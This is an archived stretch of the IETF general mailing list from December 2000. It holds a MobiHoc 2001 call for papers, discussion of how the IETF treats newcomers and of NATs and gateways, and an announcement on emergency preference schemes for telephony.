northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA58830; Thu, 21 Dec 2000 12:14:16 -0500 Received: from d01ml233.pok.ibm.com (d01ml233.pok.ibm.com [9.117.200.63]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id MAA30270; Thu, 21 Dec 2000 12:12:52 -0500 Importance: Normal Subject: CFP - ACM MobiHoc 2001 To: IEEETCPC@listserv.utoronto.ca Cc: ietf@ietf.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "Young-bae Ko" Date: Thu, 21 Dec 2000 12:14:58 -0500 X-MIMETrack: Serialize by Router on D01ML233/01/M/IBM(Release 5.0.6 |December 14, 2000) at 12/21/2000 12:15:01 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Call for Papers MobiHoc 2001 ============ The ACM Symposium on Mobile Ad Hoc Networking & Computing October 4-5, 2001, Long Beach, California, USA http://www.cs.ucla.edu/mobihoc/ sponsored by ACM SIGMOBILE MobiHoc 2001 will serve as a forum for addressing various issues related to mobile ad hoc networks. Following the success of MobiHoc 2000, MobiHoc 2001 has been expanded to a 2-day symposium, to provide more opportunities for participation by the ad hoc networking community. Technical papers describing original, previously unpublished research, not currently under review by another conference or journal, are solicited. Topics of interest include but are not limited to - * Routing protocols (unicast, multicast, geocast, content-based, etc.) for ad hoc networks * Media access techniques * Transport layer issues for ad hoc networks * Mobile ad hoc computing platforms and testbeds * Applications for ad hoc networks * Low power and energy-efficient designs * Quality-of-service issues * Security and fault-tolerance issues for ad hoc networks * Self-configuration in ad hoc networks * Sensor and data fusion * Ad hoc networking over Bluetooth * Distributed algorithms for ad hoc networks (e.g., leader election, group management, etc.) * Biologically-inspired mechanisms for ad hoc networks Please consult the program co-chairs, M. Scott Corson (corson@flarion.com), and Samir Das (samir.das@uc.edu) if you are uncertain whether your paper falls within the scope of the symposium. ----------------------------------------------------------- SUBMISSIONS Authors should prepare a postscript or portable document format (PDF) version of their papers. Papers should not exceed 20 double-spaced pages (including text, figures and references). Paper submissions will be handled electronically and exact submission instructions will appear in the symposium web site in due time. All papers will be reviewed for technical merit. Accepted papers will be published in the symposium proceedings. Important Dates - Paper Submissions Due: May 15, 2001 - Notification of Acceptance: July 15, 2001 - Camera-ready Version Due: August 1, 2001 ----------------------------------------------------------- ORGANIZING COMMITTEE * General Chair: Nitin H. Vaidya (Texas A&M University) * Technical Program Co-Chairs: M. Scott Corson (Flarion Technologies) Samir R. Das (University of Cincinnati) * European Liaison: Jean-Pierre Hubaux (Swiss Federal Inst. of Tech.) * Local Arrangements Chair: Srikanth Krishnamurthy (UC-Riverside) * Finance Co-Chairs: Stefano Basagni (UT-Dallas) Violet R. Syrotiuk (UT-Dallas) * Publicity Co-Chairs: Young-Bae Ko (IBM T.J. Watson Research) Songwu Lu (UC-Los Angeles) * Publication Chair: Sung-Ju Lee (Hewlett-Packard Labs) * Registration Chair: John Heidemann (ISI-USC) Katia Obraczka (ISI-USC) * Steering Committee: Andrew Campbell (Columbia University) J.J. Garcia-Luna-Aceves (UC-Santa Cruz) Mario Gerla (UC-Los Angeles) Joseph P. Macker (NRL) Charles E. Perkins (Nokia Research) Ram Ramanathan (BBN Tech.) Martha Steenstrup (BBN Tech.) C-K. Toh (Georgia Tech.) Nitin H. Vaidya (Texas A&M University) * Technical Program Committee: Dennis Baker (NRL) Pravin Bhagwat (AT&T Research) Andrew Campbell (Columbia University) Anthony Ephremides (University of Maryland) J.J. Garcia-Luna-Aceves (UC-Santa Cruz) Ramesh Govindan (USC/ISI) Phillippe Jacquet (INRIA) David B. Johnson (Rice University) Tony Larsson (Ericsson Research) Joe Macker (NRL) David Maltz (CMU) Gyorgy Miklos (Ericsson Research) Richard Ogier (SRI) Vincent Park (NRL) Charles E. Perkins (Nokia Research) Amir Qayyum (INRIA) Ram Ramanathan (BBN Tech.) Andras Racz (Ericsson Research) Jason Redi (BBN Tech.) Elizabeth Royer (UC-Santa Barbara) Martha Steenstrup (BBN Tech.) Leandros Tassiulas (University of Maryland) Fred Templin (SRI) ------------------------------------------------------------ From owner-ietf-outbound Thu Dec 21 12:30:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA25205 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 12:30:05 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24981 for ; Thu, 21 Dec 2000 12:22:07 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 1499PU-0003eS-00; Thu, 21 Dec 2000 09:21:44 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Bill Manning Cc: mrose+mtr.netnews@DBC.MTVIEW.CA.US (Marshall T. Rose), bmanning@ISI.EDU (Bill Manning), brian@hursley.ibm.com (Brian E Carpenter), ietf@ietf.org, mrose@DBC.MTVIEW.CA.US (Marshall Rose) Subject: Re: Welcoming newcomers References: <00db01c06b69$d020c300$8753cf3f@FATORA> <200012211546.eBLFkah21860@zed.isi.edu> Message-Id: Date: Thu, 21 Dec 2000 09:21:44 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Few ideas are really bad. Most are either pre or post mature. thanks for the quotes file entry! From owner-ietf-outbound Thu Dec 21 12:40:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA25495 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 12:40:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25120 for ; Thu, 21 Dec 2000 12:26:54 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA03431; Thu, 21 Dec 2000 12:26:54 -0500 (EST) Message-Id: <200012211726.MAA03431@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bill Manning cc: Valdis.Kletnieks@vt.edu, ietf@ietf.org Subject: Re: Welcoming newcomers In-reply-to: Your message of "Wed, 20 Dec 2000 22:13:43 PST." <200012210613.eBL6Dhw21123@zed.isi.edu> Date: Thu, 21 Dec 2000 12:25:39 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org I was not present so I could not clarify. It does seem pretty clear that these days, "bad-ideas" are often floated and experimented with in other venues and only after vetting are brought to the IETF for standards approval/rubber stamping. in my experience, plenty of bad ideas survive such "vetting". but those who bring them to IETF still expect the rubber stamp. From owner-ietf-outbound Thu Dec 21 13:00:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA25968 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:00:03 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca (lox.sandelman.ottawa.on.ca [209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25536 for ; Thu, 21 Dec 2000 12:40:51 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca (8.8.7/8.8.8) with ESMTP id MAA27101 for ; Thu, 21 Dec 2000 12:40:40 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBL48Z818665 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Wed, 20 Dec 2000 20:08:36 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBL3kDM04815 for ; Wed, 20 Dec 2000 22:46:13 -0500 (EST) Message-Id: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> To: ietf@ietf.org Subject: Re: IETF logistics In-reply-to: Your message of "Wed, 20 Dec 2000 07:35:04 PST." <001001c06a9a$6d231f20$d45904d1@cisco.com> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Wed, 20 Dec 2000 22:46:13 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Melinda" == Melinda Shore writes: Melinda> I think the problem could, in part, be alleviated by physically Melinda> ejecting from the room people either playing games on their Melinda> laptops or checking their portfolios. I agree. As useful as the wireless and power bars are, I think they contribute to people (myself included) feeling that we should be doing three things at once. The wireless access is likely key to actually giving everyone a chance to get online, but I recall a lot of useful work that occured in the terminal room. I also recall deciding to go to the terminal room rather than find a session that I can "cross-fertilize" --- now if I pick wrong, then I just don't pay attention, but I still take up room. (I become aware of my own behaviour at Pittsburgh) So maybe WG chairs should have the right to unplug the wireless access points :-) ] Train travel features AC outlets with no take-off restrictions|gigabit is no[ ] Michael Richardson, Solidum Systems Oh where, oh where has|problem with[ ] mcr@solidum.com www.solidum.com the little fishy gone?|PAX.port 1100[ ] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [ From owner-ietf-outbound Thu Dec 21 13:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26239 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:10:02 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25596 for ; Thu, 21 Dec 2000 12:44:44 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLGj1j21964; Thu, 21 Dec 2000 08:45:01 -0800 From: Bill Manning Message-Id: <200012211645.eBLGj1j21964@zed.isi.edu> Subject: Re: Welcoming newcomers To: randy@psg.com (Randy Bush) Date: Thu, 21 Dec 2000 08:45:01 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), mrose+mtr.netnews@DBC.MTVIEW.CA.US (Marshall T. Rose), brian@hursley.ibm.com (Brian E Carpenter), ietf@ietf.org, mrose@DBC.MTVIEW.CA.US (Marshall Rose) In-Reply-To: from "Randy Bush" at Dec 21, 2000 09:21:44 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % % > Few ideas are really bad. Most are either pre or post mature. % % thanks for the quotes file entry! % Proper attribution is then required. It came to me originally from Jon Postel and was independently espoused by Dave Farber. I would hope that you don't attribute things to me that come from elswhere. -- --bill From owner-ietf-outbound Thu Dec 21 13:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26494 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:20:02 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25625 for ; Thu, 21 Dec 2000 12:45:06 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id JAA02335 for ; Thu, 21 Dec 2000 09:45:06 -0800 Message-Id: <5.0.2.1.2.20001221091747.037e3ae0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 09:35:34 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Re: Bottom feeders In-Reply-To: <200012211658.eBLGwtR04576@ginger.cmf.nrl.navy.mil> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:58 AM 12/21/00 -0500, Ken Hornstein wrote: >That hasn't been my experience; I've seen what can only be described as >an "old-boy" network in operation. I'm not saying that such a thing is >necessarily bad, just that sometimes it takes significant effort to >overcome it if you're a newbie. Since the IETF professes to be open, it's a good thing that we periodically worry about the legitimacy of the claim. On the other hand, we should not start beating ourselves up unless there is some pretty clear evidence that actual barriers to IETF entry are inappropriate. The IETF is a distinctive culture. Any long-standing group is. Being open does not mean that new arrivals are free from learning the special handshakes and the technical peculiarities of our work; they are essential for quality of the process and quality of the specifications. Being open means that the details of the peculiarities are accessible and that those who do learn the incantations, design philosophies, etc., can participate with significant influence. The tests of this involve looking at who puts forward design ideas that are accepted, who edits documents, chairs working groups, and becomes area directors. Up the chain, the barriers should be more significant, of course, since more depth of experience is to be expected. My own observations for all of the IETF, and especially the areas I wander around in the most -- with many of the working groups involving participation by representatives from other, established technical communities -- is that the IETF is quite simply an exemplar of openness. Yes, some individuals espouse unfriendly opinions about newbies. The subject line of this thread is a painfully good example. However we need to be careful not to select from the usual range of opinions and claim one or another sample is definitive. The actual pattern of IETF community consensus is extremely friendly and supportive for new folks who work to learn the culture and participate in the work. How many other standards organizations have unrestricted attendance, a newcomer's orientation, an introductory booklet, and an extensive guide for chairs? d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 21 13:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26754 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:30:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25668 for ; Thu, 21 Dec 2000 12:46:55 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLGlFM21977; Thu, 21 Dec 2000 08:47:15 -0800 From: Bill Manning Message-Id: <200012211647.eBLGlFM21977@zed.isi.edu> Subject: Re: Welcoming newcomers To: moore@cs.utk.edu (Keith Moore) Date: Thu, 21 Dec 2000 08:47:15 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), Valdis.Kletnieks@vt.edu, ietf@ietf.org In-Reply-To: <200012211726.MAA03431@astro.cs.utk.edu> from "Keith Moore" at Dec 21, 2000 12:25:39 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % % I was not present so I could not clarify. It does seem pretty % clear that these days, "bad-ideas" are often floated and experimented % with in other venues and only after vetting are brought to the IETF % for standards approval/rubber stamping. % % in my experience, plenty of bad ideas survive such "vetting". % but those who bring them to IETF still expect the rubber stamp. % True. The point being that the IETF is becoming a "rubber-stamp" for work already complete. This sad state of affairs is, IMHO, part of the reason for the lack of tolerance. -- --bill From owner-ietf-outbound Thu Dec 21 13:40:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26986 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:40:02 -0500 (EST) Received: from pescado.lanl.gov (cx133708-a.ocnsd1.sdca.home.com [24.20.238.239]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25766 for ; Thu, 21 Dec 2000 12:50:09 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by pescado.lanl.gov (Postfix) with ESMTP id 4C14A21681; Thu, 21 Dec 2000 09:50:06 -0800 (PST) Date: Thu, 21 Dec 2000 09:50:06 -0800 (PST) From: Mike Fisk To: Harald Alvestrand Cc: "Theodore Y. Ts'o" , iab@ISI.EDU, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: <4.3.2.7.2.20001221101056.03b50ee8@127.0.0.1> Message-ID: X-Homepage: http://home.lanl.gov/mfisk/ MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Harald Alvestrand wrote: > At 09:47 19/12/2000 -0800, Mike Fisk wrote: > >It's an argument of semantics, but I prefer to say that we're separating > >transport-layer end-to-end from application-layer end-to-end. Make > >applications explicitly terminate transport connections at gateways. So > >what is now a connection from me to you across a NAT and a proxy-ing > >firewall would be come a session-layer connection from me to you served by > >transport connections from me to the NAT, from the NAT to the proxy, and > >from the proxy to you. > > these are called "application layer gateways", and exist in droves already. > Most firewalls implement them, in addition to NAT and packet filters. Yes, I was being slightly more general to include other gateways that don't necessarily operate at the application layer: TCP-splicing/spoofing, NAT, SOCKS, etc. The problem is that the protocol mechanisms to discover and use these gateways are piecemeal and inadequate. That leads many of them to be implemented "transparently" which breaks protocols that don't know there's a gateway. -- Mike Fisk, RADIANT Team, Network Engineering Group, Los Alamos National Lab See http://home.lanl.gov/mfisk/ for contact information From owner-ietf-outbound Thu Dec 21 13:50:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA27244 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 13:50:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25840 for ; Thu, 21 Dec 2000 12:53:31 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA03715; Thu, 21 Dec 2000 12:53:26 -0500 (EST) Message-Id: <200012211753.MAA03715@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bill Manning cc: moore@cs.utk.edu (Keith Moore), bmanning@ISI.EDU (Bill Manning), Valdis.Kletnieks@vt.edu, ietf@ietf.org Subject: Re: Welcoming newcomers In-reply-to: Your message of "Thu, 21 Dec 2000 08:47:15 PST." <200012211647.eBLGlFM21977@zed.isi.edu> Date: Thu, 21 Dec 2000 12:52:11 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > % in my experience, plenty of bad ideas survive such "vetting". > % but those who bring them to IETF still expect the rubber stamp. > % > > True. The point being that the IETF is becoming a "rubber-stamp" for > work already complete. outsiders have tried to treat IETF like a rubber stamp for years; this is nothing new. but in my experience, IETF doesn't function that way - working groups feel quite free to change or discard earlier work. (some are even hostile to earlier work) Keith From owner-ietf-outbound Thu Dec 21 14:10:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA27743 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 14:10:02 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25926 for ; Thu, 21 Dec 2000 12:57:27 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLGvlg21994; Thu, 21 Dec 2000 08:57:47 -0800 From: Bill Manning Message-Id: <200012211657.eBLGvlg21994@zed.isi.edu> Subject: Re: Welcoming newcomers To: moore@cs.utk.edu (Keith Moore) Date: Thu, 21 Dec 2000 08:57:47 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), moore@cs.utk.edu (Keith Moore), Valdis.Kletnieks@vt.edu, ietf@ietf.org In-Reply-To: <200012211753.MAA03715@astro.cs.utk.edu> from "Keith Moore" at Dec 21, 2000 12:52:11 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % % > % in my experience, plenty of bad ideas survive such "vetting". % > % but those who bring them to IETF still expect the rubber stamp. % > % % > % > True. The point being that the IETF is becoming a "rubber-stamp" for % > work already complete. % % outsiders have tried to treat IETF like a rubber stamp for years; this % is nothing new. but in my experience, IETF doesn't function that way - % working groups feel quite free to change or discard earlier work. % (some are even hostile to earlier work) % % Keith % As have "insiders". And yes, I've seen WG try and discard earlier work... (btw, whats the distinguishing characteristic between an "outsider" and an "insider"?) -- --bill From owner-ietf-outbound Thu Dec 21 14:30:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA28196 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 14:30:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26174 for ; Thu, 21 Dec 2000 13:06:51 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id NAA03914; Thu, 21 Dec 2000 13:06:46 -0500 (EST) Message-Id: <200012211806.NAA03914@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bill Manning cc: moore@cs.utk.edu (Keith Moore), bmanning@ISI.EDU (Bill Manning), Valdis.Kletnieks@vt.edu, ietf@ietf.org Subject: Re: Welcoming newcomers In-reply-to: Your message of "Thu, 21 Dec 2000 08:57:47 PST." <200012211657.eBLGvlg21994@zed.isi.edu> Date: Thu, 21 Dec 2000 13:05:31 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > And yes, I've seen WG try and discard earlier work... I've seen them succeed, though perhaps not often enough. > (btw, whats the distinguishing characteristic between an "outsider" and an " > insider"?) I was remembering numerous instances when an organization would issue a press release of the form "we have protocol X, it's wonderful, and we're submitting it to IETF"...eventually sending in an I-D which either got completely ignored or (in rare cases) got published as Experimental with the title changed from "the X standard" to "FOOCORP's X protocol". Keith From owner-ietf-outbound Thu Dec 21 14:50:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA28662 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 14:50:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26581 for ; Thu, 21 Dec 2000 13:23:48 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBLIRUW23994 for ; Thu, 21 Dec 2000 13:27:31 -0500 Sender: francis@localhost.localdomain Message-ID: <3A424B90.18F30648@ecal.com> Date: Thu, 21 Dec 2000 13:27:29 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Bottom feeders References: <200012211658.eBLGwtR04576@ginger.cmf.nrl.navy.mil> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Ken Hornstein wrote: > That hasn't been my experience; I've seen what can only be described as > an "old-boy" network in operation. I'm not saying that such a thing is > necessarily bad, just that sometimes it takes significant effort to > overcome it if you're a newbie. Unfortunately, it's hard for the old-boys to overcome, too. They're surrounded by a couple thousand people they don't know and a couple hundred they do. And they're there to work, which means they don't have time to figure out which of the couple thousand are worth talking to; they're going to talk to the couple hundred they already know are worthwhile. Human nature. (Not everybody is like this; some are better. But there are very few people for whom it is easy.) -- /=================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |================================================| |eCal Corp. |"Simply vanished--like an old oak table." --Lord| |francis@ecal.com|Percy, _Black Adder II_ | \=================================================================/ From owner-ietf-outbound Thu Dec 21 15:00:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA29019 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:00:04 -0500 (EST) Received: from rbhub100.chamb.disa.mil (rbhub100.chamb.disa.mil [209.22.120.23]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26624 for ; Thu, 21 Dec 2000 13:25:26 -0500 (EST) Received: by rbhub100.chamb.disa.mil with Internet Mail Service (5.5.2650.21) id ; Thu, 21 Dec 2000 13:25:08 -0500 Message-ID: <5610E7389363D411995100204804EE5494CEB9@rbmail104.chamb.disa.mil> From: "Folts, Harold" To: "'ietf@ietf.org'" Subject: International Emergency Preference Scheme Date: Thu, 21 Dec 2000 13:25:02 -0500 Importance: low X-Priority: 5 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org In March 2000, the ITU-T established Recommendation E.106, A Description of an International Emergency Preference Scheme (IEPS). This Recommendation presents the basic requirements for preferential treatment of critical communications to support recovery operations from serious disasters such as earthquakes and severe storms. While E.106 is based upon Public Switched Telephone Network (PSTN) services, considerable effort is underway to migrate these capabilities to next generation networks based upon Internet technology. The first issue of pursuit is to ensure an effective interface between the PSTN and IP-telephony services. It is expected that this interface will touch on a number of work areas in the IETF. Many of the capabilities and protocol mechanisms may already exist and need to be identified and adapted as necessary. There could also be some areas where additional work may be needed. Nevertheless, we expect that coordination and interaction with various IETF work areas will be needed to help fulfill the requirements for IEPS in next generation networks. At IETF 48 in Pittsburgh we had a BOF on IEPS where the background and considerations for IEPS were presented. We hope to have another BOF with more detailed discussion at IETF 50 in Minneapolis. Two Internet Drafts on IEPS have been posted and are available at www.iepscheme.net along with other relevant documents. We also have established an Email List for discussion of the IEPS issues. You are invited to subscribe using the instructions provided at the IEPS web site and contribute to the discussions and progress of work. Many thanks for you interest and support. Hal * * * * * * * * * * * * * * * * * * * * * * * * * * * Hal Folts * Senior Systems Engineer * Next Generation Networks * Technology and Programs Division (N2) * National Communications System * 701 South Courthouse Road * Arlington, VA 22204-2198 * Tel: +1 703 607-6186 Fax: +1 703 607-4830 * * * * * * * * * * * * * * * * * * * * * * * * * * From owner-ietf-outbound Thu Dec 21 15:10:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA29213 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:10:02 -0500 (EST) Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26652 for ; Thu, 21 Dec 2000 13:27:01 -0500 (EST) Received: from pickaxe.demon.co.uk ([158.152.132.227]) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 149AQe-000O7l-0A for ietf@ietf.org; Thu, 21 Dec 2000 18:27:01 +0000 From: Denis Mcmahon To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Date: Thu, 21 Dec 2000 19:26:57 +0100 Organization: E-Menu Ltd Reply-To: denisrt@PICKAXE.DEMON.CO.UK Message-ID: References: <20001219112023.A19099@bubble.watson.ibm.com> <20001219155350.B19352@bubble.watson.ibm.com> <3A3FE2E2.5D0C10E7@ecal.com> <20001220074949.A20498@bubble.watson.ibm.com> <3A40BB4E.1643E09A@ecal.com> <20001220132342.A20854@bubble.watson.ibm.com> <3A40FCCF.651E8B37@ecal.com> In-Reply-To: <3A40FCCF.651E8B37@ecal.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA26652 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Wed, 20 Dec 2000 13:39:11 -0500, you wrote: >V Guruprasad posted, in reply to private mail: > >> Obscurity would mean that a unique server host address exists but >> is not advertised. >No. Security through obscurity means any approach that attempts to protect >network resources (in this case, the server) by making them hard to find. VG gave a specific example of which you give the general case, seems to me that, at least in this area, you're "disagreeing to agree". :-) Rgds Denis -- Denis McMahon Usenet: Trim quotes Mobile: +44 7802 468949 Reply at the end Email: denis@pickaxe.demon.co.uk Don't use html I trim ng when posting! Email domain blocking in use From owner-ietf-outbound Thu Dec 21 15:20:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA29454 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:20:03 -0500 (EST) Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26654 for ; Thu, 21 Dec 2000 13:27:02 -0500 (EST) Received: from pickaxe.demon.co.uk ([158.152.132.227]) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 149AQg-000O7l-0A for ietf@ietf.org; Thu, 21 Dec 2000 18:27:02 +0000 From: Denis Mcmahon To: ietf@ietf.org Subject: Re: Bottom feeders Date: Thu, 21 Dec 2000 19:27:00 +0100 Organization: E-Menu Ltd Reply-To: denisrt@PICKAXE.DEMON.CO.UK Message-ID: References: <200012201610.KAA06833@rgfsparc.cr.usgs.gov> <200012201926.OAA24848@astro.cs.utk.edu> In-Reply-To: <200012201926.OAA24848@astro.cs.utk.edu> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA26654 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Wed, 20 Dec 2000 14:25:19 -0500, you wrote: >but I do agree that to the extent we try to discourage clueless >folks from coming, we need to make sure that we don't filter out >clueful people in the process. Hmm, terminology is wrong - clueless may mean doesn't know, but it does not mean unwilling to learn, and someone who doesn't know but is willing to learn and wishes to contribute may be more beneficial than an "observer" merely making sure that a financially orientated entity somewhere isn't caught off guard. Rgds Denis -- Denis McMahon Usenet: Trim quotes Mobile: +44 7802 468949 Reply at the end Email: denis@pickaxe.demon.co.uk Don't use html I trim ng when posting! Email domain blocking in use From owner-ietf-outbound Thu Dec 21 15:30:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA29702 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:30:02 -0500 (EST) Received: from sapphire.int.ipverse.com (w067.z208037018.sjc-ca.dsl.cnc.net 